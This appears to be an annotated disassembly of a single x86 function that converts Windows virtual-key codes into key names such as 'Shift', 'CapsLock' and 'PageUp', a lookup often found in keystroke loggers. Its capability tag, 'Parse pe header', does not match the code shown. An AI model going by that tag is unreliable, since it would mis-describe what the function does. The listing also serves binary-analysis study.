Function at 0x4023ab
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
cmp dword [ebp + 8], 8
jne 0x4023c8
mov eax, str.Backspace
jmp 0x402ceb
cmp dword [ebp + 8], 0xd
jne 0x4023dc
mov eax, 0x4f7164
jmp 0x402ceb
cmp dword [ebp + 8], 0x10
jne 0x4023f0
mov eax, str.Shift
jmp 0x402ceb
cmp dword [ebp + 8], 0x11
jne 0x402404
mov eax, str.Ctrl
jmp 0x402ceb
cmp dword [ebp + 8], 0x12
jne 0x402418
mov eax, 0x4f717a
jmp 0x402ceb
cmp dword [ebp + 8], 0x13
jne 0x40242c
mov eax, str.Pause
jmp 0x402ceb
cmp dword [ebp + 8], 0x14
jne 0x402440
mov eax, str.CapsLock
jmp 0x402ceb
cmp dword [ebp + 8], 0x1b
jne 0x402454
mov eax, 0x4f7193
jmp 0x402ceb
cmp dword [ebp + 8], 0x20
jne 0x402468
mov eax, 0x4f7199
jmp 0x402ceb
cmp dword [ebp + 8], 0x21
jne 0x40247c
mov eax, str.PageUp
jmp 0x402ceb
cmp dword [ebp + 8], 0x22
jne 0x402490
mov eax, str.PageDown
jmp 0x402ceb
cmp dword [ebp + 8], 0x23
jne 0x4024a4
mov eax, 0x4f71b4
jmp 0x402ceb
cmp dword [ebp + 8], 0x24
jne 0x4024b8
mov eax, str.Home
jmp 0x402ceb
cmp dword [ebp + 8], 0x25
jne 0x4024cc
mov eax, 0x4f71c1
jmp 0x402ceb
cmp dword [ebp + 8], 0x26
jne 0x4024e0
mov eax, 0x4f71ca
jmp 0x402ceb
cmp dword [ebp + 8], 0x27
jne 0x4024f4
mov eax, 0x4f71d3
jmp 0x402ceb
cmp dword [ebp + 8], 0x28
jne 0x402508
mov eax, 0x4f71dc
jmp 0x402ceb
cmp dword [ebp + 8], 0x29
jne 0x40251c
mov eax, str.Select
jmp 0x402ceb
cmp dword [ebp + 8], 0x2a
jne 0x402530
mov eax, str.Print
jmp 0x402ceb
cmp dword [ebp + 8], 0x2b
jne 0x402544
mov eax, str.Execute
jmp 0x402ceb
cmp dword [ebp + 8], 0x2c
jne 0x402558
mov eax, str.Snapshot
jmp 0x402ceb
cmp dword [ebp + 8], 0x2d
jne 0x40256c
mov eax, 0x4f720b
jmp 0x402ceb
cmp dword [ebp + 8], 0x2e
jne 0x402580
mov eax, 0x4f7211
jmp 0x402ceb
cmp dword [ebp + 8], 0x2f
jne 0x402594
mov eax, str.Help
jmp 0x402ceb
cmp dword [ebp + 8], 0x30
jne 0x4025a8
mov eax, 0x4f721e
jmp 0x402ceb
cmp dword [ebp + 8], 0x31
jne 0x4025bc
mov eax, 0x4f7222
jmp 0x402ceb
cmp dword [ebp + 8], 0x32
jne 0x4025d0
mov eax, 0x4f7226
jmp 0x402ceb
cmp dword [ebp + 8], 0x33
jne 0x4025e4
mov eax, 0x4f722a
jmp 0x402ceb
cmp dword [ebp + 8], 0x34
jne 0x4025f8
mov eax, 0x4f722e
jmp 0x402ceb
cmp dword [ebp + 8], 0x35
jne 0x40260c
mov eax, 0x4f7232
jmp 0x402ceb
cmp dword [ebp + 8], 0x36
jne 0x402620
mov eax, 0x4f7236
jmp 0x402ceb
cmp dword [ebp + 8], 0x37
jne 0x402634
mov eax, 0x4f723a
jmp 0x402ceb
cmp dword [ebp + 8], 0x38
jne 0x402648
mov eax, 0x4f723e
jmp 0x402ceb
cmp dword [ebp + 8], 0x39
jne 0x40265c
mov eax, 0x4f7242
jmp 0x402ceb
cmp dword [ebp + 8], 0x41
jne 0x402670
mov eax, 0x4f7246
jmp 0x402ceb
cmp dword [ebp + 8], 0x42
jne 0x402684
mov eax, 0x4f724a
jmp 0x402ceb
cmp dword [ebp + 8], 0x43
jne 0x402698
mov eax, 0x4f724e
jmp 0x402ceb
cmp dword [ebp + 8], 0x44
jne 0x4026ac
mov eax, 0x4f7252
jmp 0x402ceb
cmp dword [ebp + 8], 0x45
jne 0x4026c0
mov eax, 0x4f7256
jmp 0x402ceb
cmp dword [ebp + 8], 0x46
jne 0x4026d4
mov eax, 0x4f725a
jmp 0x402ceb
cmp dword [ebp + 8], 0x47
jne 0x4026e8
mov eax, 0x4f725e
jmp 0x402ceb
cmp dword [ebp + 8], 0x48
jne 0x4026fc
mov eax, 0x4f7262
jmp 0x402ceb
cmp dword [ebp + 8], 0x49
jne 0x402710
mov eax, 0x4f7266
jmp 0x402ceb
cmp dword [ebp + 8], 0x4a
jne 0x402724
mov eax, 0x4f726a
jmp 0x402ceb
cmp dword [ebp + 8], 0x4b
jne 0x402738
mov eax, 0x4f726e
jmp 0x402ceb
cmp dword [ebp + 8], 0x4c
jne 0x40274c
mov eax, 0x4f7272
jmp 0x402ceb
cmp dword [ebp + 8], 0x4d
jne 0x402760
mov eax, 0x4f7276
jmp 0x402ceb
cmp dword [ebp + 8], 0x4e
jne 0x402774
mov eax, 0x4f727a
jmp 0x402ceb
cmp dword [ebp + 8], 0x4f
jne 0x402788
mov eax, 0x4f727e
jmp 0x402ceb
cmp dword [ebp + 8], 0x50
jne 0x40279c
mov eax, 0x4f7282
jmp 0x402ceb
cmp dword [ebp + 8], 0x51
jne 0x4027b0
mov eax, 0x4f7286
jmp 0x402ceb
cmp dword [ebp + 8], 0x52
jne 0x4027c4
mov eax, 0x4f728a
jmp 0x402ceb
cmp dword [ebp + 8], 0x53
jne 0x4027d8
mov eax, 0x4f728e
jmp 0x402ceb
cmp dword [ebp + 8], 0x54
jne 0x4027ec
mov eax, 0x4f7292
jmp 0x402ceb
cmp dword [ebp + 8], 0x55
jne 0x402800
mov eax, 0x4f7296
jmp 0x402ceb
cmp dword [ebp + 8], 0x56
jne 0x402814
mov eax, 0x4f729a
jmp 0x402ceb
cmp dword [ebp + 8], 0x57
jne 0x402828
mov eax, 0x4f729e
jmp 0x402ceb
cmp dword [ebp + 8], 0x58
jne 0x40283c
mov eax, 0x4f72a2
jmp 0x402ceb
cmp dword [ebp + 8], 0x59
jne 0x402850
mov eax, 0x4f72a6
jmp 0x402ceb
cmp dword [ebp + 8], 0x5a
jne 0x402864
mov eax, 0x4f72aa
jmp 0x402ceb
cmp dword [ebp + 8], 0x5b
jne 0x402878
mov eax, str.Lwin
jmp 0x402ceb
cmp dword [ebp + 8], 0x5c
jne 0x40288c
mov eax, str.Rwin
jmp 0x402ceb
cmp dword [ebp + 8], 0x5d
jne 0x4028a0
mov eax, str.Apps
jmp 0x402ceb
cmp dword [ebp + 8], 0x5f
jne 0x4028b4
mov eax, 0x4f72c3
jmp 0x402ceb
cmp dword [ebp + 8], 0x60
jne 0x4028c8
mov eax, 0x4f72cb
jmp 0x402ceb
cmp dword [ebp + 8], 0x61
jne 0x4028dc
mov eax, 0x4f72d5
jmp 0x402ceb
cmp dword [ebp + 8], 0x62
jne 0x4028f0
mov eax, 0x4f72df
jmp 0x402ceb
cmp dword [ebp + 8], 0x63
jne 0x402904
mov eax, 0x4f72e9
jmp 0x402ceb
cmp dword [ebp + 8], 0x64
jne 0x402918
mov eax, 0x4f72f3
jmp 0x402ceb
cmp dword [ebp + 8], 0x65
jne 0x40292c
mov eax, 0x4f72fd
jmp 0x402ceb
cmp dword [ebp + 8], 0x66
jne 0x402940
mov eax, 0x4f7307
jmp 0x402ceb
cmp dword [ebp + 8], 0x67
jne 0x402954
mov eax, 0x4f7311
jmp 0x402ceb
cmp dword [ebp + 8], 0x68
jne 0x402968
mov eax, 0x4f731b
jmp 0x402ceb
cmp dword [ebp + 8], 0x69
jne 0x40297c
mov eax, 0x4f7325
jmp 0x402ceb
cmp dword [ebp + 8], 0x6a
jne 0x402990
mov eax, 0x4f732f
jmp 0x402ceb
cmp dword [ebp + 8], 0x6b
jne 0x4029a4
mov eax, 0x4f7339
jmp 0x402ceb
cmp dword [ebp + 8], 0x6d
jne 0x4029b8
mov eax, 0x4f7343
jmp 0x402ceb
cmp dword [ebp + 8], 0x6e
jne 0x4029cc
mov eax, 0x4f734d
jmp 0x402ceb
cmp dword [ebp + 8], 0x6f
jne 0x4029e0
mov eax, 0x4f7357
jmp 0x402ceb
cmp dword [ebp + 8], 0x70
jne 0x4029f4
mov eax, 0x4f7361
jmp 0x402ceb
cmp dword [ebp + 8], 0x71
jne 0x402a08
mov eax, 0x4f7366
jmp 0x402ceb
cmp dword [ebp + 8], 0x72
jne 0x402a1c
mov eax, 0x4f736b
jmp 0x402ceb
cmp dword [ebp + 8], 0x73
jne 0x402a30
mov eax, 0x4f7370
jmp 0x402ceb
cmp dword [ebp + 8], 0x74
jne 0x402a44
mov eax, 0x4f7375
jmp 0x402ceb
cmp dword [ebp + 8], 0x75
jne 0x402a58
mov eax, 0x4f737a
jmp 0x402ceb
cmp dword [ebp + 8], 0x76
jne 0x402a6c
mov eax, 0x4f737f
jmp 0x402ceb
cmp dword [ebp + 8], 0x77
jne 0x402a80
mov eax, 0x4f7384
jmp 0x402ceb
cmp dword [ebp + 8], 0x78
jne 0x402a94
mov eax, 0x4f7389
jmp 0x402ceb
cmp dword [ebp + 8], 0x79
jne 0x402aa8
mov eax, 0x4f738e
jmp 0x402ceb
cmp dword [ebp + 8], 0x7a
jne 0x402abc
mov eax, 0x4f7394
jmp 0x402ceb
cmp dword [ebp + 8], 0x7b
jne 0x402ad0
mov eax, 0x4f739a
jmp 0x402ceb
cmp dword [ebp + 8], 0x90
jne 0x402ae7
mov eax, str.NumLock
jmp 0x402ceb
cmp dword [ebp + 8], 0x91
jne 0x402afe
mov eax, str.ScrollLock
jmp 0x402ceb
cmp dword [ebp + 8], 0xba
jne 0x402b15
mov eax, 0x4f73b7
jmp 0x402ceb
cmp dword [ebp + 8], 0xbb
jne 0x402b2c
mov eax, 0x4f73be
jmp 0x402ceb
cmp dword [ebp + 8], 0xbc
jne 0x402b43
mov eax, 0x4f73c5
jmp 0x402ceb
cmp dword [ebp + 8], 0xbd
jne 0x402b5a
mov eax, 0x4f73cc
jmp 0x402ceb
cmp dword [ebp + 8], 0xbe
jne 0x402b71
mov eax, 0x4f73d3
jmp 0x402ceb
cmp dword [ebp + 8], 0xbf
jne 0x402b88
mov eax, 0x4f73da
jmp 0x402ceb
cmp dword [ebp + 8], 0xc0
jne 0x402b9f
mov eax, 0x4f73e1
jmp 0x402ceb
cmp dword [ebp + 8], 0xdb
jne 0x402bb6
mov eax, 0x4f73ea
jmp 0x402ceb
cmp dword [ebp + 8], 0xdc
jne 0x402bcd
mov eax, 0x4f73f5
jmp 0x402ceb
cmp dword [ebp + 8], 0xdd
jne 0x402be4
mov eax, 0x4f73fc
jmp 0x402ceb
cmp dword [ebp + 8], 0xde
jne 0x402bfb
mov eax, 0x4f7407
jmp 0x402ceb
cmp dword [ebp + 8], 0xa2
jne 0x402c12
mov eax, 0x4f72cb
jmp 0x402ceb
cmp dword [ebp + 8], 0xa3
jne 0x402c29
mov eax, 0x4f72d5
jmp 0x402ceb
cmp dword [ebp + 8], 0xa4
jne 0x402c40
mov eax, 0x4f72df
jmp 0x402ceb
cmp dword [ebp + 8], 0xa5
jne 0x402c57
mov eax, 0x4f72e9
jmp 0x402ceb
cmp dword [ebp + 8], 0xa6
jne 0x402c6e
mov eax, 0x4f72f3
jmp 0x402ceb
cmp dword [ebp + 8], 0xa7
jne 0x402c85
mov eax, 0x4f72fd
jmp 0x402ceb
cmp dword [ebp + 8], 0xa8
jne 0x402c9c
mov eax, 0x4f7307
jmp 0x402ceb
cmp dword [ebp + 8], 0xa9
jne 0x402cb3
mov eax, 0x4f7311
jmp 0x402ceb
cmp dword [ebp + 8], 0xaa
jne 0x402cca
mov eax, 0x4f731b
jmp 0x402ceb
cmp dword [ebp + 8], 0xab
jne 0x402ce1
mov eax, 0x4f7325
jmp 0x402ceb
mov eax, 0x4f6fc5
jmp 0x402ceb
mov esp, ebp
pop ebp
ret 4